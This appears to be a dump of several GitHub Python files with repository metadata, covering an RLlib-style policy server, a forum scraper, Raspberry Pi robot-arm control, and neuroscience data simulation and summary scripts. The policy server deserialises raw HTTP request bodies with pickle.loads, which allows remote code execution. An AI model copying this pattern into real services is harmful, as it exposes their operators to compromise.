ExternalEnv.__init__(\n self, spaces.Discrete(2),\n spaces.Box(\n low=-10,\n high=10,\n shape=(4,),\n dtype=np.float32))\n def run(self):\n server = PolicyServer(self, \"localhost\", 8900)\n server.serve_forever()\n >>> register_env(\"srv\", lambda _: CartpoleServing())\n >>> pg = PGAgent(env=\"srv\", config={\"num_workers\": 0})\n >>> while True:\n pg.train()\n\n >>> client = PolicyClient(\"localhost:8900\")\n >>> eps_id = client.start_episode()\n >>> action = client.get_action(eps_id, obs)\n >>> ...\n >>> client.log_returns(eps_id, reward)\n >>> ...\n >>> client.log_returns(eps_id, reward)\n \"\"\"\n\n def __init__(self, external_env, address, port):\n handler = _make_handler(external_env)\n HTTPServer.__init__(self, (address, port), handler)\n\n\ndef _make_handler(external_env):\n class Handler(SimpleHTTPRequestHandler):\n def do_POST(self):\n content_len = int(self.headers.get('Content-Length'), 0)\n raw_body = self.rfile.read(content_len)\n parsed_input = pickle.loads(raw_body)\n try:\n response = self.execute_command(parsed_input)\n self.send_response(200)\n self.end_headers()\n self.wfile.write(pickle.dumps(response))\n except Exception:\n self.send_error(500, traceback.format_exc())\n\n def log_request(self, code='-', size='-'):\n if isinstance(code, HTTPStatus):\n code = code.value\n # if code == 200:\n # if int(time.time()) % 10 == 0:\n # print('.', end='', flush=True)\n if code != 200:\n self.log_message('\"%s\" %s %s', self.requestline, str(code), str(size))\n\n def execute_command(self, args):\n command = args[\"command\"]\n response = {}\n if command == PolicyClient.START_EPISODE:\n response[\"episode_id\"] = external_env.start_episode(\n args[\"episode_id\"], args[\"training_enabled\"])\n elif command == PolicyClient.GET_ACTION:\n response[\"action\"] = external_env.get_action(\n args[\"episode_id\"], args[\"observation\"])\n elif command == PolicyClient.LOG_ACTION:\n external_env.log_action(args[\"episode_id\"],\n args[\"observation\"], args[\"action\"])\n elif command == PolicyClient.LOG_RETURNS:\n external_env.log_returns(args[\"episode_id\"], args[\"reward\"],\n args[\"info\"])\n elif command == PolicyClient.END_EPISODE:\n external_env.end_episode(args[\"episode_id\"],\n args[\"observation\"])\n else:\n raise Exception(\"Unknown command: {}\".format(command))\n return response\n\n return Handler\n","repo_name":"shufflebyte/sc2_dqn","sub_path":"bot/utils/policy_server.py","file_name":"policy_server.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"10211286181","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 6 19:05:42 2016\n\n@author: sleepingz\n\"\"\"\n\ndef mol_template(m,template,bond_seq=[1],angle_seq=[1]):\n path = m.config['nist_path']+'/Templates'\n f = open(path+'/'+template,'r')\n lines = f.readlines()\n f.close()\n output = []\n bond_len = len(bond_seq)\n angle_len = len(angle_seq)\n keys = ['Bond_%d'%(i+1) for i in range(bond_len)] + \\\n ['Angle_%d'%(i+1) for i in range(angle_len)]\n values = bond_seq + angle_seq\n for line in lines:\n for i in range(len(keys)):\n line = line.replace('$%s$'%keys[i],'%d'%values[i])\n output.append(line)\n g = open(template,'w')\n g.writelines(output)\n g.close()\n ","repo_name":"sleepingZ/KerosPore","sub_path":"tools/mol_template.py","file_name":"mol_template.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"15816651690","text":"import requests\nfrom bs4 import BeautifulSoup\nimport lxml\nimport time\n\n# 標頭檔\nHADERS = {\"user-agent\" : \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68\"}\n\n# 取得搜尋網址內容\ndef getSearchURL(url):\n html = requests.get(url, headers = HADERS)\n soup = BeautifulSoup(html.text, \"lxml\")\n\n return soup\n\n# 取得總頁數\ndef getTotalPage(soup):\n totalPage = soup.select_one(\"p.BH-pagebtnA > a:last-child\").text\n\n return totalPage\n\n# 取得樓層\ndef getFloor(soup):\n floor_list = soup.select(\".c-post__header__author .floor\")\n\n return floor_list\n\n# 取得資料\ndef getContent(soup, menu):\n if(menu == \"1\"): # 回覆\n content_list = soup.select(\".c-article__content\")\n elif(menu == \"2\"): # 作者\n content_list = soup.select(\".c-post__header__author .userid\")\n\n return content_list\n\n\nif __name__ == \"__main__\":\n # 取得欲搜尋討論串\n search_url = input(\"請輸入要搜尋的討論串網址: \") # https://forum.gamer.com.tw/C.php?bsn=60030&snA=398025&tnum=2892\n\n # 取得總頁數\n totalPage = getTotalPage(getSearchURL(search_url))\n\n while(True):\n # 選擇功能\n menu = input(\"選擇功能 1.搜尋內容 2.搜尋作者 3.離開: \")\n if(menu == \"3\"):break\n\n # 取得欲搜尋內容\n search_word = input(\"請輸入要搜尋的內容 or 作者: \")\n\n # 遍歷每頁\n for page in range(int(totalPage)):\n url = \"{}&page={}\".format(search_url,page+1)\n\n soup = getSearchURL(url)\n floor_list = getFloor(soup)\n\n if(menu == \"1\"):\n content_list = getContent(soup, menu)\n\n for floor, content in zip(floor_list, content_list):\n # 比對字串\n if(content.text.find(search_word) != -1):\n print(floor.text + content.text)\n \n elif (menu == \"2\"):\n content_list = getContent(soup, \"1\")\n author_list = getContent(soup, menu)\n\n for floor, content,author in zip(floor_list, content_list, author_list):\n # 比對字串\n if(author.text.find(search_word) != -1):\n print(floor.text + \" \" + author.text + content.text)\n \n \n time.sleep(0.1)\n ","repo_name":"qpal147147/Bahamut-crawler","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"9594283568","text":"from time import sleep\nimport RPi.GPIO as GPIO\nfrom CONSTANTES import *\nfrom CineamaticaInversa import *\n\n\n#BANDERA DE HOMMING\nBANDERAS = []\nBANDERAS = [ False, False, False]\n###################\n\n##############################################################\n# #\n# DEFINICION DE CONFIGURACIONES # \n# #\n############################################################## \ndef GPIO_SETUP():\n global garra\n ######################\n ##GPIO CONFIGURATION##\n GPIO.setmode(GPIO.BCM) \n GPIO.setwarnings(False)\n GPIO.setup(DIR_BASE, GPIO.OUT)\n GPIO.setup(DIR_LINK1,GPIO.OUT)\n GPIO.setup(DIR_LINK2,GPIO.OUT)\n GPIO.setup(PASO_BASE, GPIO.OUT)\n GPIO.setup(PASO_LINK1,GPIO.OUT)\n GPIO.setup(PASO_LINK2,GPIO.OUT)\n GPIO.setup(HOM_BASE, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n GPIO.setup(HOM_LINK1, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n GPIO.setup(HOM_LINK2, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n ###GARRA CONFIGURATION\n GPIO.setup(SERVO, GPIO.OUT)\n garra = GPIO.PWM(SERVO, 100)\n garra.start(7.55)\n ######################\n\n\n##############################################################\n# #\n# DEFINICION DE INTERRUPCIONES # \n# #\n############################################################## \ndef Homming_Base(channel):\n global BANDERAS\n print(\"BASE SE ENCUENTRA EN CASA\")\n BANDERAS[0] = True\n pass\n\ndef Homming_LINK1(channel):\n global BANDERAS\n print(\"LINK1 SE ENCUENTRA EN CASA\")\n BANDERAS[1] = True\n pass\n\ndef Homming_LINK2(channel):\n global BANDERAS\n print(\"LINK2 SE ENCUENTRA EN CASA\") \n BANDERAS[2] = True\n pass\n##############################################################\n# #\n# DEFINICION DE CONFIGURACIONES, INT # \n# #\n############################################################## \ndef Interrupt_Setup():\n GPIO.add_event_detect(HOM_BASE, GPIO.FALLING, callback=Homming_Base, bouncetime=1000)\n GPIO.add_event_detect(HOM_LINK1, GPIO.FALLING, callback=Homming_LINK1, bouncetime=1000)\n GPIO.add_event_detect(HOM_LINK2, GPIO.FALLING, callback=Homming_LINK2, bouncetime=1000)\n\n##############################################################\n# #\n# DEFINICION DE REGRESO A HOME->BASE # \n# #\n############################################################## \ndef MOVE_HOME_BASE():\n global BANDERAS\n GPIO.output(DIR_BASE,DIR_HOME_BASE)\n while 1:\n if(BANDERAS[0]):\n break\n else:\n GPIO.output(PASO_BASE,GPIO.HIGH)\n sleep(delay)\n GPIO.output(PASO_BASE,GPIO.LOW)\n sleep(delay)\n##############################################################\n# #\n# DEFINICION DE REGRESO A HOME->LINK1 # \n# #\n############################################################## \ndef MOVE_HOME_LINK1(pasos):\n global BANDERAS\n x=0\n GPIO.output(DIR_LINK1,DIR_HOME_LINK1)\n while 1:\n if x > pasos:\n break\n if(BANDERAS[1]):\n break\n else:\n GPIO.output(PASO_LINK1,GPIO.HIGH)\n sleep(delay)\n GPIO.output(PASO_LINK1,GPIO.LOW)\n sleep(delay)\n x = x+1\n##############################################################\n# #\n# DEFINICION DE REGRESO A HOME->LINK2 # \n# #\n############################################################## \ndef MOVE_HOME_LINK2(pasos):\n global BANDERAS\n GPIO.output(DIR_LINK2,DIR_HOME_LINK2)\n x=0\n while 1:\n if x > pasos:\n break\n if(BANDERAS[2]):\n break\n else:\n GPIO.output(PASO_LINK2,GPIO.HIGH)\n sleep(delay)\n GPIO.output(PASO_LINK2,GPIO.LOW)\n sleep(delay)\n x = x+1\n##############################################################\n# #\n# DEFINICION DE REGRESO A HOME # \n# #\n############################################################## \ndef MOVE_HOME(actual):\n \n global BANDERAS\n BANDERAS = [False,False,False]\n while 1:\n if (BANDERAS[1] and BANDERAS[2]):\n break\n else:\n MOVE_HOME_LINK2(6)\n MOVE_HOME_LINK1(1)\n MOVE_HOME_BASE()\n actual= [0,0,0]\n return actual\n##############################################################\n# #\n# DEFINICION DE MOVIMIENTO BASE # \n# #\n############################################################## \ndef MOV_BASE(ang,actual):\n ang = ang - actual[0] #DIFERENCIA PARA MOVER RESPECTO A LA POSICION ACTUAL\n if ang <0: #CONDICION PARA LA DIRECCION DEL MOTOR\n GPIO.output(DIR_BASE,DIR_HOME_BASE)\n else:\n GPIO.output(DIR_BASE,DIR_OUT_BASE) \n x =0\n pasos = (abs(ang))*((MICRO_STEPPING*ENG_BASE)/(360*ENG_MOTOR)) #RELACION ANGULOS DE PASOS\n while 1:\n if x >=pasos:\n break\n else:\n GPIO.output(PASO_BASE,GPIO.HIGH)\n sleep(delay)\n GPIO.output(PASO_BASE,GPIO.LOW)\n sleep(delay)\n x =x+1\n actual[0] = ang + actual[0] -0.1\n return actual\n##############################################################\n# #\n# DEFINICION DE MOVIMIENTOS DE LINKS # \n# #\n############################################################## \ndef MOV_LINKS(ang1,ang2,actual):\n ang1 = ang1 - actual[1] #DIFERENCIA PARA MOVER RESPECTO\n ang2 = ang2 - actual[2] #A LA POSICION ACTUAL \n #ANG1\n pasos1 = (abs(ang1)) *((MICRO_STEPPING*ENG_LINK1)/(360*ENG_MOTOR)) #RELACION DE ANGULO A PASOS\n if ang1 <0: #CONDICIONAL PARA LA DIRECCION\n GPIO.output(DIR_LINK1,DIR_HOME_LINK1) #DEL MOTOR\n else:\n GPIO.output(DIR_LINK1,DIR_OUT_LINK1) \n #ANG2\n pasos2 = (abs(ang2)) * ((MICRO_STEPPING*ENG_LINK2)/(360*ENG_MOTOR)) #RELACION DE ANGULO A PASOS\n if ang2 <0: #CONDICION PARA LA DIRECCION\n GPIO.output(DIR_LINK2,DIR_HOME_LINK2) #DEL MOTOR\n else:\n GPIO.output(DIR_LINK2,DIR_OUT_LINK2)\n\n x1=0\n x2=0\n for i in range(int(pasos1/3)):\n GPIO.output(PASO_LINK1,GPIO.HIGH)\n sleep(delay)\n GPIO.output(PASO_LINK1,GPIO.LOW)\n sleep(delay)\n x1 =x1+1\n for i in range(int(pasos2/3)):\n GPIO.output(PASO_LINK2,GPIO.HIGH)\n sleep(delay)\n GPIO.output(PASO_LINK2,GPIO.LOW)\n sleep(delay)\n x2 =x2+1\n for i in range(int(pasos1 * 2/3)):\n GPIO.output(PASO_LINK1,GPIO.HIGH)\n sleep(delay)\n GPIO.output(PASO_LINK1,GPIO.LOW)\n sleep(delay)\n x1 =x1+1 \n for i in range(int(pasos2*2/3)):\n GPIO.output(PASO_LINK2,GPIO.HIGH)\n sleep(delay)\n GPIO.output(PASO_LINK2,GPIO.LOW)\n sleep(delay)\n x2 =x2+1\n actual[1] = ang1 + actual[1]\n actual[2] = ang2 + actual[2]\n sleep(0.05)\n return actual\n##############################################################\n# #\n# DEFINICION DE APERTURA DE GARRA # \n# #\n############################################################## \ndef Garra_Open(ang):\n global garra\n for i in range(ang,180,10):\n garra.ChangeDutyCycle(2+i/18)\n sleep(0.1)\n garra.ChangeDutyCycle(0)\n##############################################################\n# #\n# DEFINICION DE CIERRE DE GARRA # \n# #\n############################################################## \ndef Garra_Close(ang):\n global garra\n for i in range(ang,90,-5):\n garra.ChangeDutyCycle(2+i/18)\n sleep(0.1)\n garra.ChangeDutyCycle(0)\n##############################################################\n# #\n# DEFINICION DE TRAYECTORIA # \n# #\n############################################################## \ndef trayectoria(ang1,ang2,actuales):\n while True:\n if actuales[1] < (ang1-4):\n actuales = MOV_LINKS(actuales[1]+4,actuales[2],actuales)\n else:\n actuales = MOV_LINKS(ang1,actuales[2],actuales)\n if actuales[2] < (ang2-2):\n actuales = MOV_LINKS(actuales[1],actuales[2]+2,actuales)\n else:\n actuales = MOV_LINKS(actuales[1],ang2, actuales)\n if (ang1)== actuales[1] and ang2 == actuales[2]:\n break\n return actuales\n##############################################################\n# #\n# DEFINICION DE TRAYECTORIA INVERSA # \n# #\n############################################################## \ndef trayectoria_inv(ang1,ang2,actuales):\n while True:\n if actuales[1] > (ang1+4):\n actuales = MOV_LINKS(actuales[1]-4,actuales[2],actuales)\n else:\n actuales = MOV_LINKS(ang1,actuales[2],actuales)\n if actuales[2] > (ang2+2):\n actuales = MOV_LINKS(actuales[1],actuales[2]-2,actuales)\n else:\n actuales = MOV_LINKS(actuales[1],ang2, actuales)\n if (ang1)== actuales[1] and ang2 == actuales[2]:\n break\n return actuales\n\n\n","repo_name":"SauALopez/Brazo-Robotica","sub_path":"HomDeg.py","file_name":"HomDeg.py","file_ext":"py","file_size_in_byte":10757,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"205056459","text":"#!/usr/bin/python\n\"\"\"create simulated data for testing 2d model fit\n\"\"\"\nimport matplotlib as mpl\n# we do this because sometimes we run this without an X-server, and this backend doesn't need\n# one. We set warn=False because the notebook uses a different backend and will spout out a big\n# warning to that effect; that's unnecessarily alarming, so we hide it.\nmpl.use('svg', warn=False)\nimport argparse\nimport pandas as pd\nimport numpy as np\nfrom . import stimuli as sfp_stimuli\nfrom . import model as sfp_model\n\n\ndef quadratic_mean(x):\n \"\"\"returns the quadratic mean: sqrt{(x_1^2 + ... + x_n^2) / n}\n \"\"\"\n return np.sqrt(np.mean(x**2))\n\n\ndef calculate_error_distribution(first_level_df):\n \"\"\"given a first_level_df, return the distribution of errors across voxels\n\n this requries the first_level_df to contain the column amplitude_estimate_std_error_normed\n (i.e., it's the summary df, not the full df, which contains each bootstrap).\n\n we take the quadratic mean of each voxel's 48 normed standard errors (that's the appropriate\n way to combine these errors) and then return an array containing one error per voxel. this\n should be sampled to determine the noise level for individual simulated voxels\n \"\"\"\n errors = first_level_df.groupby(['varea', 'voxel']).amplitude_estimate_std_error_normed\n return errors.apply(quadratic_mean).values\n\n\ndef simulate_voxel(true_model, freqs, noise_level=0, ecc_range=(1, 12),\n angle_range=(0, 2*np.pi), pix_diam=1080, deg_diam=24,\n vox_ecc=None, vox_angle=None):\n \"\"\"simulate a single voxel\n\n noise_level should be a float. to add noise, we normalize our predictions (to have an L2 of 1),\n add noise from a normal distribution with a mean of 0 and a standard deviation of\n `noise_level`, and un-normalize our predictions (by multiplying by its original L2 norm).\n \"\"\"\n if vox_ecc is None:\n vox_ecc = np.random.uniform(*ecc_range)\n if vox_angle is None:\n vox_angle = np.random.uniform(*angle_range)\n mags, direcs = [], []\n for w_r, w_a in freqs:\n _, _, m, d = sfp_stimuli.sf_cpd(pix_diam, deg_diam, vox_ecc, vox_angle, w_r=w_r, w_a=w_a)\n mags.append(m)\n direcs.append(d)\n resps = true_model.evaluate(mags, direcs, vox_ecc, vox_angle)\n resps = resps.detach().numpy()\n resps_norm = np.linalg.norm(resps, 2)\n normed_resps = resps / resps_norm\n # this means that the noise_level argument controls the size of the error\n # in the normed responses (not the un-normed ones)\n normed_resps += np.random.normal(scale=noise_level, size=len(resps))\n # since the noise_level becomes the standard deviation of a normal distribution, the precision\n # is the reciprocal of its square\n if noise_level != 0:\n precision = 1. / ((noise_level * resps_norm)**2)\n else:\n # in this case, just set the precision to 1, so it's the same for all of them. only the\n # relative precision matters anyway; if they're all identical it doesn't matter what the\n # value is.\n precision = 1.\n return pd.DataFrame({'eccen': vox_ecc, 'angle': vox_angle, 'local_sf_magnitude': mags,\n 'local_sf_xy_direction': direcs,\n 'amplitude_estimate_median': normed_resps * resps_norm,\n 'amplitude_estimate_std_error': noise_level * resps_norm,\n 'true_amplitude_estimate_median': resps,\n 'amplitude_estimate_median_normed': normed_resps,\n 'amplitude_estimate_std_error_normed': noise_level,\n 'amplitude_estimate_norm': resps_norm,\n 'precision': precision,\n 'stimulus_class': range(len(freqs))})\n\n\ndef simulate_data(true_model, num_voxels=100, noise_level=0, num_bootstraps=10,\n noise_source_path=None):\n \"\"\"simulate a bunch of voxels\n\n if noise_source_path is None, then all voxels have the same noise, which is drawn from a\n Gaussian with mean 0 and standard deviation `noise_level` (after normalization to having an L2\n norm of 1). if first_level_df is not None, then we grab the error distribution of voxels found\n in it (see `calculate_error_distribution`), multiply those values by noise_level, and sample\n once per voxel\n \"\"\"\n freqs = sfp_stimuli._gen_freqs([2**i for i in np.arange(2.5, 7.5, .5)], True)\n if noise_source_path is not None:\n noise_source_df = pd.read_csv(noise_source_path)\n noise_distribution = noise_level * calculate_error_distribution(noise_source_df)\n else:\n noise_distribution = [noise_level]\n df = []\n for i in range(num_voxels):\n vox_ecc = np.random.uniform(1, 12)\n vox_angle = np.random.uniform(0, 2*np.pi)\n noise_level = np.random.choice(noise_distribution)\n for j in range(num_bootstraps):\n tmp = simulate_voxel(true_model, freqs, noise_level=noise_level,\n vox_ecc=vox_ecc, vox_angle=vox_angle)\n tmp['bootstrap_num'] = j\n tmp['voxel'] = i\n df.append(tmp)\n df = pd.concat(df)\n df['varea'] = 1\n # we want the generating model and its parameters stored here\n df['true_model_type'] = true_model.model_type\n for name, val in true_model.named_parameters():\n df['true_model_%s' % name] = val.detach().numpy()\n df['noise_level'] = noise_level\n df['noise_source_df'] = noise_source_path\n return df\n\n\ndef main(model_period_orientation_type='iso', model_eccentricity_type='full',\n model_amplitude_orientation_type='iso', sigma=.4, sf_ecc_slope=1, sf_ecc_intercept=0,\n abs_mode_cardinals=0, abs_mode_obliques=0, rel_mode_cardinals=0, rel_mode_obliques=0,\n abs_amplitude_cardinals=0, abs_amplitude_obliques=0, rel_amplitude_cardinals=0,\n rel_amplitude_obliques=0, num_voxels=100, noise_level=0, save_path=None,\n noise_source_path=None, num_bootstraps=100):\n \"\"\"Simulate first level data to be fit with 2d tuning model.\n\n Note that when calling the function, you can set every parameter\n individually, but, depending on the values of the\n model_period_orientation_type, model_eccentricity_type, and\n model_amplitude_orientation_type, some of them have specific values\n (often 0), they will be set to. If this happens, a warning will be\n raised.\n\n if save_path is not None, should be a list with one or two strs, first\n giving the path to save the summary dataframe (median across bootstraps),\n second the path to save the full dataframe (all bootstraps). If only one\n str, we only save the summary version.\n\n \"\"\"\n model = sfp_model.LogGaussianDonut(model_period_orientation_type, model_eccentricity_type,\n model_amplitude_orientation_type, sigma, sf_ecc_slope,\n sf_ecc_intercept, abs_mode_cardinals, abs_mode_obliques,\n rel_mode_cardinals,rel_mode_obliques,\n abs_amplitude_cardinals, abs_amplitude_obliques,\n rel_amplitude_cardinals, rel_amplitude_obliques)\n model.eval()\n df = simulate_data(model, num_voxels, noise_level, num_bootstraps, noise_source_path)\n df['period_orientation_type'] = model_period_orientation_type\n df['eccentricity_type'] = model_eccentricity_type\n df['amplitude_orientation_type'] = model_amplitude_orientation_type\n if save_path is not None:\n # summary dataframe\n df.groupby(['voxel', 'stimulus_class']).median().to_csv(save_path[0],\n index=False)\n # full dataframe\n col_renamer = {c: c.replace('_median', '') for c in df.columns\n if 'median' in c}\n df.rename(columns=col_renamer).to_csv(save_path[1], index=False)\n return df\n\n\nif __name__ == '__main__':\n class CustomFormatter(argparse.ArgumentDefaultsHelpFormatter):\n pass\n parser = argparse.ArgumentParser(\n description=(\"Simulate first level data to be fit with 2d tuning model. Note that when \"\n \"calling the function, you can set every parameter individually, but, \"\n \"depending on the values of the model_orientation_type, model_eccentricity_\"\n \"type, and model_vary_amplitude, some of them have specific values (often 0),\"\n \"they will be set to. If this happens, a warning will be raised.\"),\n formatter_class=CustomFormatter)\n parser.add_argument(\"save_path\", nargs='+',\n help=(\"Path (should end in .csv) where we'll save the simulated data. If \"\n \"one str, we only save the summary version, if two we save both \"\n \"summary and full.\"))\n parser.add_argument(\"--model_period_orientation_type\", '-p', default='iso',\n help=(\"{iso, absolute, relative, full}\\nEffect of orientation on \"\n \"preferred period\\n- iso: model is isotropic, \"\n \"predictions identical for all orientations.\\n- absolute: model can\"\n \" fit differences in absolute orientation, that is, in Cartesian \"\n \"coordinates, such that sf_angle=0 correponds to 'to the right'\\n- \"\n \"relative: model can fit differences in relative orientation, that \"\n \"is, in retinal polar coordinates, such that sf_angle=0 corresponds\"\n \" to 'away from the fovea'\\n- full: model can fit differences in \"\n \"both absolute and relative orientations\"))\n parser.add_argument(\"--model_eccentricity_type\", '-e', default='full',\n help=(\"{scaling, constant, full}\\n- scaling: model's relationship between\"\n \" preferred period and eccentricity is exactly scaling, that is, the\"\n \" preferred period is equal to the eccentricity.\\n- constant: model'\"\n \"s relationship between preferred period and eccentricity is exactly\"\n \" constant, that is, it does not change with eccentricity but is \"\n \"flat.\\n- full: model discovers the relationship between \"\n \"eccentricity and preferred period, though it is constrained to be\"\n \" linear (i.e., model solves for a and b in period = a * \"\n \"eccentricity + b)\"))\n parser.add_argument(\"--model_amplitude_orientation_type\", '-o', default='iso',\n help=(\"{iso, absolute, relative, full}\\nEffect of orientation on \"\n \"max_amplitude\\n- iso: model is isotropic, \"\n \"predictions identical for all orientations.\\n- absolute: model can\"\n \" fit differences in absolute orientation, that is, in Cartesian \"\n \"coordinates, such that sf_angle=0 correponds to 'to the right'\\n- \"\n \"relative: model can fit differences in relative orientation, that \"\n \"is, in retinal polar coordinates, such that sf_angle=0 corresponds\"\n \" to 'away from the fovea'\\n- full: model can fit differences in \"\n \"both absolute and relative orientations\"))\n parser.add_argument(\"--num_voxels\", '-n', default=100, help=\"Number of voxels to simulate\",\n type=int)\n parser.add_argument(\"--num_bootstraps\", default=100, help=\"Number of bootstraps per voxel\",\n type=int)\n parser.add_argument(\"--sigma\", '-s', default=.4, type=float, help=\"Sigma of log-Normal donut\")\n parser.add_argument(\"--sf_ecc_slope\", '-a', default=1, type=float,\n help=(\"Slope of relationship between tuning and eccentricity for log-\"\n \"Normal donut\"))\n parser.add_argument(\"--sf_ecc_intercept\", '-b', default=0, type=float,\n help=(\"Intercept of relationship between tuning and eccentricity for \"\n \"log-Normal donut\"))\n parser.add_argument(\"--rel_mode_cardinals\", \"-rmc\", default=0, type=float,\n help=(\"The strength of the cardinal-effect of the relative orientation (so\"\n \" angle=0 corresponds to away from the fovea) on the mode. That is, \"\n \"the coefficient of cos(2*relative_orientation)\"))\n parser.add_argument(\"--rel_mode_obliques\", \"-rmo\", default=0, type=float,\n help=(\"The strength of the oblique-effect of the relative orientation (so\"\n \" angle=0 corresponds to away from the fovea) on the mode. That is, \"\n \"the coefficient of cos(4*relative_orientation)\"))\n parser.add_argument(\"--rel_amplitude_cardinals\", \"-rac\", default=0, type=float,\n help=(\"The strength of the cardinal-effect of the relative orientation (so\"\n \" angle=0 corresponds to away from the fovea) on the amplitude. That\"\n \" is, the coefficient of cos(2*relative_orientation)\"))\n parser.add_argument(\"--rel_amplitude_obliques\", \"-rao\", default=0, type=float,\n help=(\"The strength of the oblique-effect of the relative orientation (so\"\n \" angle=0 corresponds to away from the fovea) on the amplitude. That\"\n \" is, the coefficient of cos(4*relative_orientation)\"))\n parser.add_argument(\"--abs_mode_cardinals\", \"-amc\", default=0, type=float,\n help=(\"The strength of the cardinal-effect of the absolute orientation (so\"\n \" angle=0 corresponds to the right) on the mode. That is, \"\n \"the coefficient of cos(2*absolute_orientation)\"))\n parser.add_argument(\"--abs_mode_obliques\", \"-amo\", default=0, type=float,\n help=(\"The strength of the oblique-effect of the absolute orientation (so\"\n \" angle=0 corresponds to the right) on the mode. That is, \"\n \"the coefficient of cos(4*absolute_orientation)\"))\n parser.add_argument(\"--abs_amplitude_cardinals\", \"-aac\", default=0, type=float,\n help=(\"The strength of the cardinal-effect of the absolute orientation (so\"\n \" angle=0 corresponds to the right) on the amplitude. That\"\n \" is, the coefficient of cos(2*absolute_orientation)\"))\n parser.add_argument(\"--abs_amplitude_obliques\", \"-aao\", default=0, type=float,\n help=(\"The strength of the oblique-effect of the absolute orientation (so\"\n \" angle=0 corresponds to the right) on the amplitude. That\"\n \" is, the coefficient of cos(4*absolute_orientation)\"))\n parser.add_argument('--noise_source_path', default=None,\n help=(\"None or path to a first level summary dataframe. If None, then all \"\n \"simulated voxels have the same noise, determined by `noise_level` \"\n \"argment. If a path, then we find calculate the error distribution\"\n \" based on that dataframe (see `calculate_error_distribution` \"\n \"function for details) and each voxel's noise level is sampled \"\n \"independently from that distribution.\"))\n parser.add_argument(\"--noise_level\", '-l', default=0, type=float,\n help=(\"Noise level. If noise_source_path is None, this is the std dev of a\"\n \" normal distribution with mean 0, which will be added to the \"\n \"simulated data. If \"\n \"noise_source_path is not None, then we multiply the noise \"\n \"distribution obtained from that dataframe by this number (see that\"\n \" variable's help for more details). In both cases, the simulated \"\n \"responses are normalized to have an L2 norm of 1 before noise is\"\n \" added, so this should be interpreted as relative to a unit vector\"\n \". In both cases, a value of 0 means no noise.\"))\n args = vars(parser.parse_args())\n main(**args)\n","repo_name":"billbrod/spatial-frequency-preferences","sub_path":"sfp/simulate_data.py","file_name":"simulate_data.py","file_ext":"py","file_size_in_byte":16900,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"19"} +{"seq_id":"71872530602","text":"import os\nimport pandas as pd\n\n\ndfs = []\nfor root, dirs, files in os.walk(\"result\"):\n for file in files:\n if file.endswith(\".csv\"):\n tf_name = root.replace('result/', '')\n data_name = file.replace('.csv', '')\n _df = pd.read_csv(os.path.join(root, file))\n _df['tf_name'] = tf_name\n _df['data_name'] = data_name\n dfs.append(_df)\ndf = pd.concat(dfs)\n\n# hpt result\ndfs = []\nfor root, dirs, files in os.walk(\"result_hyper_param\"):\n for file in files:\n if file.endswith(\".csv\"):\n tf_name = root.replace('result_hyper_param/', '')\n data_name = file.replace('.csv', '')\n _df = pd.read_csv(os.path.join(root, file))\n _df['tf_name'] = tf_name\n _df['data_name'] = data_name\n # param were stored in multiple rows, drop duplicates (until we have different param per each fold)\n _df.drop_duplicates(subset=['task'], inplace=True)\n dfs.append(_df)\ndf_hpt = pd.concat(dfs)\n\ndf_comp = df.copy()\ndf_comp['name'] = df_comp['tf_name'] + '/' + df_comp['data_name']\ndf_comp = pd.DataFrame(df_comp.reset_index().pivot('name', 'task', 'val').to_records())\n\ndf_hpt_comp = df_hpt.copy()\ndf_hpt_comp['name'] = df_hpt_comp['tf_name'] + '/' + df_hpt_comp['data_name']\ndf_hpt_comp = pd.DataFrame(df_hpt_comp.reset_index().pivot('name', 'task', 'val').to_records())\n\ndf_comp['training_r2'] = (df_comp['training_fold_0_r2'] + df_comp['training_fold_1_r2'] + df_comp[\n 'training_fold_2_r2'] + df_comp['training_fold_3_r2'] + df_comp['training_fold_4_r2']) / 5\n\ndf_hpt_comp['training_r2'] = (df_hpt_comp['training_fold_0_r2'] + df_hpt_comp['training_fold_1_r2'] + df_hpt_comp[\n 'training_fold_2_r2'] + df_hpt_comp['training_fold_3_r2'] + df_hpt_comp['training_fold_4_r2']) / 5\n\ndf_comp[['name', 'cross_validation_pearson_corr', 'test_set_pearson_corr']].to_csv('performance_summary_fixed.csv',\n index=False)\n\ndf_hpt_comp[['name', 'cross_validation_pearson_corr', 'test_set_pearson_corr']].to_csv('performance_summary_hpt.csv',\n index=False)\n","repo_name":"jz132/alice-sandbox","sub_path":"universal_pbm/summarize_metric.py","file_name":"summarize_metric.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31099122732","text":"import statistics, numpy as np\r\nfrom scipy.stats import pearsonr\r\np=[15 ,12 ,8 ,8 ,7 ,7 ,7 ,6 ,5 ,3]\r\nh=[ 10 ,25 , 17, 11 , 13 , 17 , 20 , 13, 9, 15]\r\np_m=statistics.mean(p)\r\nh_m = statistics.mean(h)\r\nnum=0\r\nden=0\r\nfor i in range(0,10):\r\n num=num+((p[i]-p_m)*(h[i]-h_m))\r\n den=den+(p[i]-p_m)**2\r\nprint(num/den)","repo_name":"zahra-j6/Hackerrank","sub_path":"Statistics-and-Machine-Learning/Correlation and Regression Lines2.py","file_name":"Correlation and Regression Lines2.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"42120464129","text":"from moin.utils.iri import Iri\nfrom moin.utils.tree import moin_page, xlink\nfrom moin.utils.mime import Type, type_moin_document\nfrom moin.i18n import _\n\nfrom . import default_registry\n\n\nclass Converter:\n \"\"\"\n Convert a 